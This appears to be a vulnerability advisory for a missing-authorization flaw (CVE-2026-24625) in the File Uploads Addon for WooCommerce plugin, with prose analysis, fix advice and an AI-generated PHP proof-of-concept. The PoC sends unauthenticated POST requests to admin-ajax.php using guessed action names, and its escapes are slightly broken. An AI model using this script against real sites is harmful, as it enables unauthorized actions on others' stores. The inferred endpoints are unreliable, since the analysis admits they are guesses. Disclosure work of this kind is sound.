Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24625: File Uploads Addon for WooCommerce <= 1.7.3 – Missing Authorization (woo-addon-uploads)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.7.3
Patched Version
Disclosed January 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24625 (metadata-based):
This vulnerability is a Missing Authorization flaw in the File Uploads Addon for WooCommerce plugin. The vulnerability allows unauthenticated attackers to trigger a privileged plugin function, leading to unauthorized actions. The CVSS score of 5.3 (Medium) reflects a network-accessible attack with low attack complexity that impacts integrity.

CWE-862 indicates the root cause is a missing capability check on a function. Atomic Edge research infers this function is likely registered as a WordPress AJAX handler or REST API endpoint without proper authorization validation. The description confirms the missing check but does not specify the exact function. The vulnerable component is a plugin action intended for authenticated users.

Exploitation involves sending a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin conventions, the likely attack vector is the admin-ajax.php handler. An attacker would send a POST request to /wp-admin/admin-ajax.php with an action parameter containing a value specific to the plugin, such as ‘woo_addon_uploads_action’ or a derivative of the plugin slug. No authentication cookies or nonces are required.

Remediation requires adding a proper authorization check before executing the sensitive function. The fix should verify the current user’s capabilities, typically using `current_user_can()` for a specific WordPress capability or checking if the user is logged in. The function must also validate any nonce if the action originates from a user-facing form. The patched version should ensure the check runs before any other logic.

The impact is an unauthorized action performed by an unauthenticated attacker. The exact action is unspecified, but in the context of a file upload addon, it could involve deleting, modifying, or fetching uploaded files, altering order-related data, or changing plugin settings. This compromises data integrity and violates the intended access control policy.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24625 - File Uploads Addon for WooCommerce <= 1.7.3 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2026-24625.
 * This script attempts to trigger an unauthorized action in the vulnerable plugin.
 * The exact AJAX action name is inferred from common plugin naming patterns.
 */

$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS

// The plugin slug is 'woo-addon-uploads'. WordPress AJAX actions often use this slug.
// Common patterns: 'woo_addon_uploads_{action}', 'wfu_{action}', 'file_uploads_action'.
// We test a series of plausible action names derived from the slug.
$potential_actions = [
    'woo_addon_uploads_process',
    'woo_addon_upload_action',
    'wfu_handle_upload',
    'handle_file_upload',
    'file_uploads_addon_action'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

foreach ($potential_actions as $action) {
    $post_data = ['action' => $action];
    // Add a dummy file ID or order parameter if the function expects it.
    $post_data['file_id'] = '1';
    $post_data['order_id'] = '123';

    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    echo "[*] Testing action: {$action}n";
    echo "    HTTP Code: {$http_code}n";
    // A successful trigger might return a 200 OK with plugin-specific JSON or message.
    // A failure might return 0, 403, or a WordPress error.
    if ($http_code == 200 && !empty($response)) {
        echo "    Response (first 200 chars): " . substr($response, 0, 200) . "n";
        echo "[!] Potential success. Manual verification required.n";
    }
    echo "n";
}

curl_close($ch);
?>

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